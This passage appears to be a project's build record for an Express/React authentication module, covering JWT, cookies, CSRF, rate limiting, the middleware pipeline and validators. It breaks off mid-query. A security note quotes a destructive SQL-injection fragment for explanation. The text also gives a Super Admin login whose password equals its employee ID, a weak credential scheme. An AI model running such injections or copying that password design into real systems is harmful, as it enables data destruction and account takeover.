CMCMIS · PHASE 4

AUTH MODULE — SEALED

End-to-End Technical Documentation

STEP 1 → STEP 8

Backend · Frontend · Security · Verification

✓ JavaScript only · .js / .jsx · No TypeScript anywhere

Status: SHIPPED & BROWSER-VERIFIED

Document	phase4SEALED.docx
Version	v1.0 — Sealed
Scope	Documents EVERY file written during Phase 4 (BE + FE)
Audience	Deep Sorathiya (DS) — internship deliverable + future self
Companion to	TECHNICALbaseORDERSphase.pdf (the BUILD PLAN); this doc is the BUILD RECORD
Language	JavaScript end-to-end — .js (backend) · .jsx (frontend) · NEVER .ts/.tsx
Backend	Node 18 + Express 4 + mysql2/promise + bcryptjs + jsonwebtoken + zod + pino
Frontend	Vite 5 + React 18 + Tailwind 3 + axios + zod + react-hook-form + lucide
Database	MySQL `final` (Phase 3 sealed — 12 migrations, 53 active tables)
Status	✅ SEALED — 8 of 8 steps green, browser-acceptance passed
Prepared by	Claude (AI engineering pair) — Technical Documentation Engineer mode
Generated	2026-05-18

Table of Contents

Part-by-part. Each STEP gets a dedicated chapter with code-block walkthroughs, design rationale, and a verification gate.

Part I · Overview & Mission

1.1 Phase 4 Mission Statement

Phase 3 sealed the database. The 5-role × 40-permission RBAC matrix, the two Super Admin users, departments / sections / lookups, and the audit-log table were all populated and bcrypt-verified. The database was RUNTIME READY but could not speak HTTP yet.

Phase 4's job: build the HTTP + browser layers that turn that seeded matrix into a working authentication flow. By the end of this phase a user opens http://localhost:5173/login, enters SA79900 / SA79900, receives a JWT, lands on /dashboard, sees every sidebar item (Super Admin has all 40 permissions); a Normal User trying to navigate to /admin/users sees a 403 Forbidden page — never a server crash, never a redirect loop.

VERIFIED · What Phase 4 actually shipped

Backend: 21 .js files in SOFTWARE CODE/BE — auth module + middleware + config

Frontend: 19 .jsx/.js/.css/.html/config files in SOFTWARE CODE/FE

Endpoints LIVE: POST /api/v1/auth/login · /refresh · /logout · GET /api/v1/me · GET /healthz

Security wired: JWT in memory + httpOnly refresh cookie + CSRF double-submit + theft detection + rate limit + audit-every-attempt

Frontend wired: AuthProvider + ProtectedRoute + permission-filtered sidebar + Forbidden page

Browser verified end-to-end on 2026-05-17 (12 of 12 smoke-test steps passed)

1.2 The Hard Rule — JavaScript Only

Every source file in this project — backend and frontend — is JavaScript. The backend uses CommonJS (require / module.exports). The frontend uses ES modules with .jsx for components and .js for plain modules. There is no tsconfig.json, no .ts file, no .tsx file. This is locked decision D1 (JS + JSDoc + Zod) from Phase 2 and is non-negotiable.

IMPORTANT · Why this rule matters here

The original Phase-4 build prompt contained TypeScript examples (.tsx, tsconfig, strict mode).

Following them broke the project standard; the FE scaffold was wiped and rebuilt in JS.

All Phase 5+ work inherits this rule. Any future spec mentioning .tsx is mentally substituted with .jsx + JSDoc.

1.3 Final File Tree

The final on-disk layout after STEP 8 completed and the browser smoke test passed.

Backend · SOFTWARE CODE/BE/

```
// tree
BE/
├── .env.example                  Template for local .env (gitignored)
├── .gitignore                    node_modules, .env, logs, …
├── package.json                  Locked dep versions (no @types, no typescript)
├── README.md                     Quick-start + hard rules
└── src/
    ├── server.js                 Entry: env → logger → db → middleware → routes → 404 →
errorHandler
    ├── config/
    │   ├── env.js                envalid-validated process.env; aborts boot if JWT secrets match
    │   ├── logger.js             pino instance with redact paths for Authorization/Cookie/Set-
Cookie
    │   ├── db.js                 mysql2/promise pool; multipleStatements:false; SELECT 1 at boot
    │   └── jwt.js                Facade: alg + accessSecret + refreshSecret + TTLs
    ├── middleware/
    │   ├── authenticate.js       Bearer → req.user = { employeeId, userId, role, permissions[] }
    │   ├── authorize.js          Factory: authorize(code) and authorizeAny(...codes)
    │   ├── rateLimit.js          loginLimiter (10/15min) + refreshLimiter (30/min)
    │   ├── validate.js           Zod-schema runner factory
    │   └── errorHandler.js       AppError class + errors{} factory + notFoundHandler + default
    ├── modules/
    │   ├── auth/
    │   │   ├── auth.routes.js    POST /login · /refresh · /logout
    │   │   ├── auth.controller.js  HTTP shims; cookies set/cleared here
    │   │   ├── auth.service.js   login() · refresh() (rotation + theft detection) · logout()
    │   │   ├── auth.validators.js  zod loginSchema + refreshSchema; PASSWORD_REGEX
    │   │   ├── users.repo.js     find / load perms / increment-fail / record-success
    │   │   ├── refreshTokens.repo.js  persist / findValid / revoke / revokeAllForUser
    │   │   └── loginAudit.repo.js record (whitelisted outcome ENUM)
    │   └── users/
    │       ├── users.routes.js   GET /me
    │       └── users.controller.js  getMe (reads req.user — no DB hop)
    └── utils/
        ├── crypto.js             sha256(input) · randomToken(bytes=32)
        └── cookies.js            REFRESH_COOKIE_NAME · CSRF_COOKIE_NAME · option presets
```

Frontend · SOFTWARE CODE/FE/

```
// tree
FE/
├── .env.example                  VITE_API_BASE_URL placeholder
├── .gitignore
├── index.html                    title "CMCMIS · Sign In" + Inter from Google Fonts
├── package.json                  React 18, Vite 5, Tailwind 3, axios, zod, RHF, lucide (no TS deps)
├── postcss.config.js             Tailwind + Autoprefixer
├── tailwind.config.js            11 color tokens · Inter stack · soft card shadow
├── vite.config.js                /api proxy → :3000 · @/ alias → src/
└── src/
    ├── main.jsx                  React 18 createRoot + StrictMode + globals.css
    ├── App.jsx                   AuthProvider → BrowserRouter → Routes
    ├── styles/globals.css        @tailwind directives + body base + focus ring
    ├── components/
    │   ├── Brand.jsx             "CMCMIS·" wordmark, sm/md/lg sizes
    │   ├── Layout.jsx            Sidebar + TopBar + scrollable main
    │   ├── ProtectedRoute.jsx    Loading / anonymous / forbidden / render
    │   ├── Sidebar.jsx           Brand + identity + permission-filtered nav + sign out
    │   ├── TopBar.jsx            Auto-derived title + role badge + initials disc
    │   └── ui/
    │       ├── Badge.jsx         Colored pills (badge/success/warning/danger/accent/ink)
    │       ├── Button.jsx        Variants: primary/secondary/ghost × sm/md
    │       ├── FormField.jsx     Label + control + helper/error wrapper
    │       ├── Input.jsx         forwardRef-wrapped input (works with RHF)
```

```
│       └── Spinner.jsx       lucide Loader2 + animate-spin
├── lib/
│   ├── api-client.js         axios instance + Bearer/CSRF interceptors + refresh coalescing
│   ├── auth-context.jsx      <AuthProvider/> + useAuth() hook
│   ├── permissions.js        ALL_NAV_ITEMS + visibleNavItems(perms)
│   └── schemas/loginSchema.js  Zod schema mirroring backend regex
└── pages/
    ├── Dashboard.jsx         Greeting + stat cards + permission inspector
    ├── Forbidden.jsx         ShieldOff + missing permission code + back-to-dashboard CTA
    └── Login.jsx             Hero + form + disabled SSO + compliance footer
```

1.4 Actual Tech Stack — Versions + Why

Every dependency picked is in service of one of the locked decisions (D1–D11). The two tables below are the audit trail of WHY each library is on disk.

Backend dependencies

Library	Version	Why it's here
express	^4.19.2	Web framework — D7
mysql2	^3.11.0	MySQL driver with promise API — D2
bcryptjs	^2.4.3	Verifies bcrypt hashes seeded in Phase 3
jsonwebtoken	^9.0.2	Sign + verify access and refresh JWTs — D17
zod	^3.23.0	Input validation contract shared with FE — D1
dotenv	^16.4.5	Loads .env into process.env at boot
envalid	^8.0.0	Validates env; aborts process on missing/invalid vars
helmet	^7.1.0	Sets ~15 OWASP-recommended security headers
cors	^2.8.5	Restricts allowed origins; credentials:true for refresh cookie
cookie-parser	^1.4.7	Parses Cookie: header into req.cookies
compression	^1.7.4	gzip JSON responses (~70% reduction)
express-rate-limit	^7.4.0	Brute-force throttle on /login + /refresh
pino	^9.4.0	Fast structured JSON logger — D6
pino-http	^10.3.0	Per-request log line + req.log
pino-pretty	^11.2.0	Dev-only readable log transport
dayjs	^1.11.13	Symmetric date math between BE and FE

Frontend dependencies

Library	Version	Why it's here
react / react-dom	^18.3.1	UI framework — D7 (FE half)
react-router-dom	^6.27.0	Client-side routing + NavLink active state
axios	^1.7.7	HTTP client + request/response interceptors

zod	^3.23.0	Same schema lib as BE — runtime validation
react-hook-form	^7.53.0	Form state without re-render storms
@hookform/resolvers	^3.9.0	Glue between RHF and Zod
lucide-react	^0.454.0	Icon set used in nav + UI primitives
clsx	^2.1.1	Conditional className merger
tailwindcss	^3.4.13	Utility CSS — D8
@tailwindcss/forms	^0.5.9	Normalises form element defaults across browsers
vite	^5.4.8	Dev server + bundler — D8
@vitejs/plugin-react	^4.3.2	JSX support inside Vite
postcss + autoprefixer	8.x / 10.x	Required by Tailwind to emit final CSS

> **NOTE · What you will NOT find in package.json**
>
> typescript — banned per Hard Rule (Part I.2).
> @types/* — only TypeScript projects need ambient type definitions.
> any state-management lib (Redux, Zustand) — auth state lives in React context; routes have their own params; nothing else needs global state in Phase 4.

Part II · STEP 1 · Backend Skeleton

Goal: a Node.js process that boots cleanly, validates its environment, opens a MySQL pool, exposes /healthz, and exits gracefully on SIGTERM. No routes, no auth, no controllers yet — just a process you can curl and reason about.

> **INFO · The Build Order Rule**
>
> You cannot test STEP N until STEPS 1..N-1 are working.
>
> Step 1 is the foundation: every other step requires env + logger + db pool to exist.

2.1 Folder Scaffold

Created with mkdir -p so the entire skeleton appears in one shot. Adopting the locked folder convention from the build doc (src/config, src/middleware, src/modules/auth, src/modules/users, src/utils).

```
// bash
# From within SOFTWARE CODE/BE/
mkdir -p src/config src/middleware src/modules/auth src/modules/users src/utils
```

2.2 package.json — Locked Dependency Pin

Every dep version is pinned with a caret to allow patches but block breaking changes. Notable absences: NO typescript, NO @types/* — this is a JS-only project.

```
// package.json
{
  "name": "cmcmis-be",
  "version": "1.0.0",
  "private": true,
  "description": "CMCMIS_SIMPLIFIED Phase 4 backend — auth + RBAC HTTP layer.",
  "main": "src/server.js",
  "scripts": {
    "dev":   "node --watch src/server.js",
    "start": "node src/server.js"
  },
  "engines": { "node": ">=18.0.0" },
  "dependencies": {
    "express": "^4.19.2", "mysql2": "^3.11.0",
    "bcryptjs": "^2.4.3", "jsonwebtoken": "^9.0.2",
    "zod": "^3.23.0", "dotenv": "^16.4.5", "envalid": "^8.0.0",
    "helmet": "^7.1.0", "cors": "^2.8.5", "cookie-parser": "^1.4.7",
    "compression": "^1.7.4", "express-rate-limit": "^7.4.0",
    "pino": "^9.4.0", "pino-http": "^10.3.0", "pino-pretty": "^11.2.0",
    "dayjs": "^1.11.13"
  }
}
```

2.3 .env.example — The Source of Truth for Configuration

Committed template. The real .env is gitignored. The values are PLACEHOLDERS — the JWT secrets MUST be replaced with 32-byte random strings before any environment touches real data.

```
// .env
# Server
NODE_ENV=development
PORT=3000
API_BASE_PATH=/api/v1
CORS_ORIGIN=http://localhost:5173

# Database (Phase 3 sealed schema)
DB_HOST=localhost
DB_PORT=3306
DB_USER=root
DB_PASSWORD=
DB_NAME=final
DB_POOL_LIMIT=15

# JWT secrets — generate with:
#   node -e "console.log(require('crypto').randomBytes(32).toString('hex'))"
# MUST differ from each other; env.js refuses to boot if they are equal.
JWT_ACCESS_SECRET=<replace>
JWT_REFRESH_SECRET=<replace>
JWT_ACCESS_TTL_SEC=900       # 15 minutes
JWT_REFRESH_TTL_SEC=604800   # 7 days

# Bcrypt — 10 in dev (fast), 12 in production (M11)
BCRYPT_ROUNDS=10

# Rate limiting — /login: 10 attempts per 15 min per IP
LOGIN_RATE_WINDOW_MS=900000
LOGIN_RATE_MAX=10

# Logging — debug while developing, info in prod
LOG_LEVEL=debug
```

SECURITY ALERT · JWT secret hygiene

NEVER commit .env to git — .gitignore must include it.

JWT_ACCESS_SECRET MUST differ from JWT_REFRESH_SECRET; env.js asserts this at boot.

If access and refresh shared a secret, a leaked access token could be replayed as a refresh token, turning a 15-minute exposure into a 7-day one.

Rotate secrets quarterly; rotate immediately on breach.

2.4 src/config/env.js — Fail-Fast Boot Validator

Reads process.env exactly once, validates every variable the app depends on, coerces numeric values, freezes the result, and exports it as a single object. If anything is missing or malformed the process EXITS BEFORE Express ever opens a port. Fail-fast at boot is orders of magnitude cheaper than debugging an ECONNREFUSED at 2am.

```
// src/config/env.js
'use strict';
require('dotenv').config();
const { cleanEnv, str, num, port } = require('envalid');

const env = cleanEnv(process.env, {
  NODE_ENV:     str({ choices: ['development', 'production', 'test'] }),
  PORT:         port({ default: 3000 }),
  API_BASE_PATH: str({ default: '/api/v1' }),
  CORS_ORIGIN:  str(),
  DB_HOST: str(), DB_PORT: port({ default: 3306 }),
  DB_USER: str(), DB_PASSWORD: str({ default: '' }),
  DB_NAME: str(), DB_POOL_LIMIT: num({ default: 15 }),
  JWT_ACCESS_SECRET:  str(),
  JWT_REFRESH_SECRET: str(),
  JWT_ACCESS_TTL_SEC:  num({ default: 900 }),
  JWT_REFRESH_TTL_SEC: num({ default: 604800 }),
  BCRYPT_ROUNDS: num({ default: 10 }),
  LOGIN_RATE_WINDOW_MS: num({ default: 900000 }),
  LOGIN_RATE_MAX: num({ default: 10 }),
  LOG_LEVEL: str({ default: 'info' }),
});

// Cross-field invariant: secrets MUST differ. envalid cannot express this.
if (env.JWT_ACCESS_SECRET === env.JWT_REFRESH_SECRET) {
  console.error('FATAL: JWT_ACCESS_SECRET and JWT_REFRESH_SECRET must differ');
  process.exit(1);
}

module.exports = Object.freeze(env);
```

2.5 src/config/logger.js — Pino + Redaction

Single shared pino instance used by the whole backend. The redact.paths array is the single most important configuration in this file: it scrubs Authorization headers, Cookie headers, Set-Cookie headers, password fields, and any *jwtSecret-named field from EVERY log line. Even at debug level, tokens never hit disk.

```
// src/config/logger.js
'use strict';
const pino = require('pino');
const env = require('./env');

const logger = pino({
  level: env.LOG_LEVEL,
  redact: {
    paths: [
      'req.headers.authorization',
      'req.headers.cookie',
      'res.headers["set-cookie"]',
      '*.password', '*.password_hash',
      '*.jwtAccessSecret', '*.jwtRefreshSecret',
    ],
    censor: '***',
  },
  base: { service: 'cmcmis-be', env: env.NODE_ENV },
  transport: env.NODE_ENV === 'development'
    ? { target: 'pino-pretty',
        options: { colorize: true, translateTime: 'SYS:HH:MM:ss.l',
                   ignore: 'pid,hostname,service,env' } }
```

```
    : undefined,
});

module.exports = logger;
```

2.6 src/config/db.js — MySQL Pool

Owns the single shared connection pool. Every repository in src/modules/* imports this pool and uses parameterised queries through it.

```
// src/config/db.js
'use strict';
const mysql = require('mysql2/promise');
const env = require('./env');
const logger = require('./logger');

const pool = mysql.createPool({
  host: env.DB_HOST, port: env.DB_PORT,
  user: env.DB_USER, password: env.DB_PASSWORD,
  database: env.DB_NAME,
  connectionLimit: env.DB_POOL_LIMIT,
  charset: 'utf8mb4', timezone: 'Z',
  dateStrings: false,
  // multipleStatements omitted → defaults to FALSE → SQL-injection amplifier disarmed.
});

// Boot-time connectivity probe. Exits the process on failure.
(async () => {
  try {
    const conn = await pool.getConnection();
    await conn.query('SELECT 1');
    conn.release();
    logger.info({ host: env.DB_HOST, db: env.DB_NAME }, 'DB pool ready');
  } catch (err) {
    logger.fatal({ err: { message: err.message, code: err.code } },
                 'DB pool failed to connect — exiting');
    setTimeout(() => process.exit(1), 50);
  }
})();

module.exports = pool;
```

SECURITY · Why multipleStatements is OFF

With multipleStatements:true, a single injected fragment can chain `; DROP TABLE users;`.

Phase 3 migration runner enables it deliberately to execute SQL files; runtime code MUST keep it off.

Combined with `?`-placeholder queries (the only SQL style allowed in the repos), the attack surface is minimal.

2.7 src/config/jwt.js — Thin Facade Over JWT Settings

Tiny facade so call-sites that need JWT config (auth.service, authenticate middleware) do not import env directly — they import this. Single point of audit for 'which knobs control JWT behaviour?'.

```
// src/config/jwt.js
'use strict';
const env = require('./env');

module.exports = Object.freeze({
  alg: 'HS256',
  accessSecret:  env.JWT_ACCESS_SECRET,
  refreshSecret: env.JWT_REFRESH_SECRET,
  accessTtlSec:  env.JWT_ACCESS_TTL_SEC,   // 15 minutes
  refreshTtlSec: env.JWT_REFRESH_TTL_SEC,  // 7 days
});
```

2.8 src/server.js — The Minimal Boot File

STEP 1 ends with this file: env + logger + db boot, /healthz, SIGTERM/SIGINT graceful shutdown, last-resort handlers for unhandled rejections and uncaught exceptions.

```
// src/server.js
'use strict';
const env = require('./config/env');
const logger = require('./config/logger');
require('./config/db'); // side effect: kicks off SELECT 1

const express = require('express');
const app = express();

app.get('/healthz', (req, res) => {
  res.json({ ok: true, uptime: process.uptime(), env: env.NODE_ENV });
});

const server = app.listen(env.PORT, () => {
  logger.info({ port: env.PORT, env: env.NODE_ENV }, 'Server ready');
});

function shutdown(signal) {
  logger.info({ signal }, 'Shutdown signal received — closing HTTP server');
  server.close(() => process.exit(0));
  setTimeout(() => process.exit(1), 10_000).unref();
}
process.on('SIGTERM', () => shutdown('SIGTERM'));
process.on('SIGINT',  () => shutdown('SIGINT'));
process.on('unhandledRejection', (reason) => logger.error({ reason }, 'Unhandled rejection'));
process.on('uncaughtException', (err) => {
  logger.fatal({ err: { message: err.message, stack: err.stack } }, 'Uncaught exception');
  setTimeout(() => process.exit(1), 50);
});
```

2.9 Verification Gate for STEP 1

```bash
// bash
# Terminal 1
cd "SOFTWARE CODE/BE"
npm install
cp .env.example .env
# Generate two random JWT secrets and paste them into .env, then:
npm run dev

# Expected log output (pretty-printed in dev)
[HH:MM:ss.lll] INFO: DB pool ready    host="localhost" db="final"
[HH:MM:ss.lll] INFO: Server ready      port=3000

# Terminal 2
curl http://localhost:3000/healthz
# → {"ok":true,"uptime":2.345,"env":"development"}
```

VERIFIED · STEP 1 acceptance

Server boots and prints exactly TWO INFO log lines before listening.

/healthz returns ok:true with the running env.

Setting BOTH JWT secrets to the same value should make the process exit with the explicit FATAL message — that's the env.js safeguard working.

Part III · STEP 2 · Middleware Pipeline

Goal: install the 13-step request pipeline so that every future route inherits the same security headers, CORS rules, body parsers, request logging, and centralised error envelope. Once this step ships, adding a new module is just 'route → controller → service → repo' — the pipeline does the rest.

3.1 The 13-Step Pipeline (Locked Order)

Express middleware runs in the order it is added. Order is not cosmetic — it is correctness. helmet must run before any handler because some headers (HSTS, CSP) need to be on the response regardless of who answers. cors must run before json because pre-flight OPTIONS requests carry no body. cookie-parser must run before any route that reads req.cookies. pino-http should be after the parsers so the per-request log line includes the parsed body shape (with secrets redacted by the logger).

```
// pipeline
incoming request
   ↓
 1. helmet()             ← security headers
 2. cors()               ← reject foreign origins
 3. compression()        ← gzip JSON responses
 4. express.json(1MB)    ← parse JSON body + 413 on overflow
 5. cookie-parser()      ← req.cookies populated
 6. pino-http()          ← per-request log + req.log
 ── routers slot in here (auth, users, …) ──
 7. rateLimit()          ← per-router (STEP 4)
 8. authenticate()       ← per-router (STEP 4)
 9. authorize()          ← per-route (STEP 4)
10. rowLevelScope()      ← Phase 5+
11. validate(zodSchema)  ← per-route via factory
12. controller           ← the business handler
13. notFound + errorHandler  ← ALWAYS LAST
   ↓
outgoing response
```

3.2 src/middleware/errorHandler.js — The Safety Net

Every error that escapes a controller, service, repository, or other middleware lands here. Without this file Express would respond with a raw 500 + HTML stack trace — terrible for security (information leak) and useless for the frontend (no machine-readable code to react to). Three exports: AppError class, errors{} factory, notFoundHandler — with the default export being the error-handler function itself.

Error envelope contract (locked, frozen)

```
// json
{ "error": { "code": "FORBIDDEN", "message": "...", "details": null } }
```

Factory helpers and what they emit

Helper	HTTP	code field	Used by
errors.badRequest(msg, details)	400	BAD_REQUEST	Future modules — JSON parse errors caught separately
errors.unauthorized(msg='Authentication required')	401	UNAUTHORIZED	authenticate, auth.service login/refresh failures
errors.forbidden(msg='Insufficient permissions')	403	FORBIDDEN	authorize, CSRF mismatch
errors.notFound(msg='Resource not found')	404	NOT_FOUND	notFoundHandler + future modules
errors.conflict(msg, details)	409	CONFLICT	Phase 5+ uniqueness violations
errors.tooManyRequests(msg='Rate limit exceeded')	429	RATE_LIMITED	express-rate-limit handler hook
errors.internal(msg='Internal server error')	500	INTERNAL	Fallback — never used directly in code, errorHandler emits it

The handler itself — five branches

```
// src/middleware/errorHandler.js
// errorHandler.js (abridged)
function errorHandler(err, req, res, _next) {
  // 1) ZodError → 422 VALIDATION_ERROR + details[]
  if (err && err.name === 'ZodError' && Array.isArray(err.errors)) {
    return res.status(422).json({ error: {
      code: 'VALIDATION_ERROR', message: 'Input validation failed',
      details: err.errors.map(e => ({
        path: e.path.join('.'), message: e.message, code: e.code }))
    }});
  }
  // 2) express.json body-parse error → 400 BAD_JSON
  if (err && err.type === 'entity.parse.failed') {
    return res.status(400).json({ error: {
      code: 'BAD_JSON', message: 'Request body is not valid JSON', details: null }});
  }
  // 3) express.json over-limit → 413 PAYLOAD_TOO_LARGE
  if (err && err.type === 'entity.too.large') {
    return res.status(413).json({ error: {
      code: 'PAYLOAD_TOO_LARGE', message: 'Request body exceeds 1MB limit', details: null }});
  }
  // 4) AppError (deliberate) → its statusCode
  if (err instanceof AppError) {
    req.log?.info?.({ code: err.code, status: err.statusCode }, 'AppError');
    return res.status(err.statusCode).json({
      error: { code: err.code, message: err.message, details: err.details }});
  }
  // 5) Anything else → 500 INTERNAL; log full stack server-side; NEVER leak to client.
  req.log?.error?.({ err }, 'Unhandled error');
  const isDev = process.env.NODE_ENV === 'development';
  return res.status(500).json({ error: {
    code: 'INTERNAL',
    message: isDev && err?.message ? err.message : 'Internal server error',
    details: null }});
}
```

3.3 src/middleware/validate.js — Generic Zod Runner

Turns any zod schema into Express middleware. Replaces the chosen request slice (body / query / params) with the parsed value — downstream handlers see coerced, trimmed values, never raw strings.

```
// src/middleware/validate.js
'use strict';
function validate(schema, source = 'body') {
  if (!['body', 'query', 'params'].includes(source)) {
    throw new Error('validate(): source must be body|query|params');
  }
  return function validateMiddleware(req, _res, next) {
    try {
      req[source] = schema.parse(req[source]);  // throws ZodError on failure
      next();
    } catch (err) {
      next(err);  // → errorHandler → 422
    }
  };
}
module.exports = validate;
```

3.4 server.js Rewrite — Wiring the Pipeline

server.js evolves from 'minimal boot' to 'middleware in place but no routers yet'. The bottom of the file is the critical structural detail: notFoundHandler is mounted BEFORE errorHandler, so unmatched URLs flow through the same envelope as everything else.

```
// src/server.js
'use strict';
const env = require('./config/env');
const logger = require('./config/logger');
require('./config/db');

const express = require('express');
const helmet = require('helmet');
const cors = require('cors');
const compression = require('compression');
const cookieParser = require('cookie-parser');
const pinoHttp = require('pino-http');

const errorHandler = require('./middleware/errorHandler');
const { notFoundHandler } = require('./middleware/errorHandler');

const app = express();
app.set('trust proxy', 1);         // req.ip reads X-Forwarded-For (prod Nginx)
app.disable('x-powered-by');       // silence info leak

// 1. helmet — CSP locked down to self + the FE origin
app.use(helmet({
  contentSecurityPolicy: { directives: {
    defaultSrc: ["'self'"],
    connectSrc: ["'self'", env.CORS_ORIGIN],
  }},
}));

// 2. cors — credentials:true is REQUIRED for the httpOnly refresh cookie
```

```
app.use(cors({
  origin: env.CORS_ORIGIN,
  credentials: true,
  methods: ['GET','POST','PATCH','DELETE','OPTIONS'],
  allowedHeaders: ['Content-Type','Authorization','X-CSRF-Token'],
  maxAge: 600,
}));

// 3. compression
app.use(compression());

// 4. JSON body parser — 1MB cap prevents memory-exhaustion DoS
app.use(express.json({ limit: '1mb' }));

// 5. cookie-parser
app.use(cookieParser());

// 6. pino-http — autoLogging suppresses /healthz noise in dev
app.use(pinoHttp({ logger, autoLogging: {
  ignore: req => env.NODE_ENV === 'development' && req.url === '/healthz'
}}));

// /healthz + routers (auth in STEP 3, users in STEP 5) mount here
app.get('/healthz', (_req, res) => res.json({ ok: true, uptime: process.uptime() }));

// 13a. unmatched URL → standard NOT_FOUND envelope
app.use(notFoundHandler);
// 13b. centralised error handler — MUST be last
app.use(errorHandler);

const server = app.listen(env.PORT, () => logger.info({ port: env.PORT }, 'Server ready'));
process.on('SIGTERM', () => server.close(() => process.exit(0)));
process.on('SIGINT',  () => server.close(() => process.exit(0)));
```

3.5 Why Each Middleware Earns Its Spot

#	Middleware	Defends against / provides
1	helmet	Clickjacking (X-Frame-Options), MIME-sniffing (X-Content-Type-Options), HTTPS downgrade (HSTS), XSS surface (CSP) — 15+ headers in one line
2	cors	Browsers enforce same-origin by default; CORS opens our API to localhost:5173 ONLY. credentials:true is mandatory for the refresh cookie to flow.
3	compression	gzip / brotli on JSON responses — ~70% bandwidth savings; helps p95 latency NFR
4	express.json	Parse JSON body. The 1MB limit prevents memory-exhaustion DoS.
5	cookie-parser	Populates req.cookies from the Cookie header. Required to read the refresh token cookie on /auth/refresh.
6	pino-http	One JSON log line per request (method, url, status, duration, requestId). Redact rules scrub Authorization automatically.
13a	notFoundHandler	Catches every URL no router answered for; emits standard NOT_FOUND envelope.
13b	errorHandler	Centralised envelope; never leaks stack traces; turns ZodError into 422 details[].

3.6 Verification Gate for STEP 2

```bash
# /healthz still works
curl http://localhost:3000/healthz
# → {"ok":true,"uptime":...,"env":"development"}

# Unknown URL → standard NOT_FOUND envelope
curl -i http://localhost:3000/api/v1/nope
# → HTTP/1.1 404 Not Found
# → {"error":{"code":"NOT_FOUND","message":"Route not found: GET /api/v1/nope","details":null}}

# helmet headers present
curl -I http://localhost:3000/healthz | grep -iE 'x-content-type-options|x-frame-options'
# → x-content-type-options: nosniff
# → x-frame-options: SAMEORIGIN
```

VERIFIED · STEP 2 acceptance

Standard envelope shape returned on every error path.

helmet headers visible in raw curl -I output.

compression header (Content-Encoding: gzip) appears on responses larger than the default threshold.

Part IV · STEP 3 · Auth Module

The largest step. Builds the entire authentication surface bottom-up: validators define the contract → utils provide crypto + cookie helpers → repos own SQL → service applies BR-AUTH rules → controller shapes HTTP → routes wire URLs. Plus two middleware pieces (authenticate + rateLimit) pulled forward from STEP 4 because the routes depend on them.

4.1 Build Order Inside the Module

```
// layering
Routes        ← thin wiring (URL → controller)        auth.routes.js
Controller    ← HTTP req/res ↔ service params           auth.controller.js
Service       ← BR-AUTH-01..07, state, transactions     auth.service.js
Repository    ← raw SQL, parameter binding              users.repo.js / refreshTokens.repo.js /
loginAudit.repo.js
Helpers       ← validators, utils                       auth.validators.js / utils/crypto.js /
utils/cookies.js
Database      ← (Phase 3 sealed)                        MySQL `final`
```

4.2 auth.validators.js — The Input Contract

Two zod schemas. loginSchema is also mirrored on the frontend so both edges enforce the same rule.

```
// src/modules/auth/auth.validators.js
'use strict';
const { z } = require('zod');

// 2 uppercase letters + 5 digits (e.g. SA79900)
const PASSWORD_REGEX = /^[A-Z]{2}[0-9]{5}$/;
const FORMAT_HINT = 'Format: 2 uppercase letters + 5 digits (e.g. SA79900)';

const loginSchema = z.object({
  employee_id: z.string().length(7, FORMAT_HINT).regex(PASSWORD_REGEX, FORMAT_HINT),
  password:    z.string().length(7, FORMAT_HINT).regex(PASSWORD_REGEX, FORMAT_HINT),
}).strict();   // .strict() rejects unknown fields → no payload smuggling

const refreshSchema = z.object({}).strict();  // /refresh body must be empty; cookie + header carry
state

module.exports = { loginSchema, refreshSchema, PASSWORD_REGEX };
```

IMPORTANT · Why regex AND length()

Anchored regex already enforces length-7, but the explicit .length(7) gives precise error messages and protects against accidental schema relaxation.

Catching malformed input here saves bcrypt CPU. bcrypt.compare is intentionally ~80ms; pre-rejecting 'abc' in <1ms

means an attacker firing random strings hits 422 instantly, not 80ms × N of CPU drain.

4.3 utils/crypto.js — Hash & Random Helpers

```
// src/utils/crypto.js
'use strict';
const crypto = require('node:crypto');

function sha256(input) {
  return crypto.createHash('sha256').update(input, 'utf8').digest('hex');
}

function randomToken(bytes = 32) {   // 32 bytes → 64-char hex
  return crypto.randomBytes(bytes).toString('hex');
}

module.exports = { sha256, randomToken };
```

INFO · Why SHA-256 (not bcrypt) for refresh tokens

Refresh tokens are HIGH-ENTROPY JWTs signed by a 256-bit secret — uncrackable by brute force.
The lookup path needs to be FAST and DETERMINISTIC (same input → same hash → UNIQUE INDEX on token_hash).
bcrypt's slowness is meaningful for passwords (low entropy); for refresh tokens it would be 80ms per refresh for zero security gain.

4.4 utils/cookies.js — Cookie Names + Option Presets

Two cookies, two option presets. Centralised so every cookie set / clear uses identical attributes — a security-critical guarantee.

```
// src/utils/cookies.js
'use strict';
const REFRESH_COOKIE_NAME = 'cmcmis_rt';
const CSRF_COOKIE_NAME    = 'cmcmis_csrf';
const SEVEN_DAYS_MS = 7 * 24 * 60 * 60 * 1000;

function refreshCookieOpts(env) {
  return {
    httpOnly: true,                                  // JS CANNOT read this
    secure:   env.NODE_ENV === 'production',         // HTTPS-only in prod
    sameSite: 'lax',                                 // CSRF defence
    path:     '/api/v1/auth',                        // narrow scope
    maxAge:   SEVEN_DAYS_MS,
  };
}

function csrfCookieOpts(env) {
```

```
  return {
    httpOnly: false,                                  // FE must read it
    secure:   env.NODE_ENV === 'production',
    sameSite: 'lax',
    path:     '/',
    maxAge:   SEVEN_DAYS_MS,
  };
}

module.exports = { REFRESH_COOKIE_NAME, CSRF_COOKIE_NAME, refreshCookieOpts, csrfCookieOpts };
```

Cookie attribute audit

Attribute	cmcmis_rt (refresh)	cmcmis_csrf (double-submit)	Defends against
httpOnly	TRUE	FALSE	XSS theft (refresh) / required for FE to read (CSRF)
secure	prod	prod	Network interception in production
sameSite	lax	lax	Cross-site CSRF baseline
path	/api/v1/auth	/	Cookie scope (refresh narrow; CSRF wide for interceptor read)
maxAge	7 days	7 days	Matches refresh JWT TTL

4.5 The Three Repositories — Where SQL Lives

Repositories are the ONLY files in the codebase that contain SQL strings. Services and controllers compose them; they never write raw queries. This contract is what lets us audit SQL-injection risk in one place.

4.5.1 users.repo.js

```
// src/modules/auth/users.repo.js
'use strict';
const pool = require('../../config/db');

async function findByEmployeeId(employeeId) {
  const [rows] = await pool.query(
    `SELECT user_id, employee_id, password_hash, section_id,
            is_active, is_locked, failed_login_count, last_login_at
       FROM users
      WHERE employee_id = ?
      LIMIT 1`,
    [employeeId],
  );
  return rows[0] || null;
}

async function loadRoleAndPermissions(userId) {
  // Single JOIN — role_code + every permission_code in one round trip
  const [rows] = await pool.query(
    `SELECT r.role_code, p.permission_code
       FROM user_roles ur
       JOIN roles r             ON r.role_id       = ur.role_id
```

```
       JOIN role_permissions rp ON rp.role_id      = ur.role_id
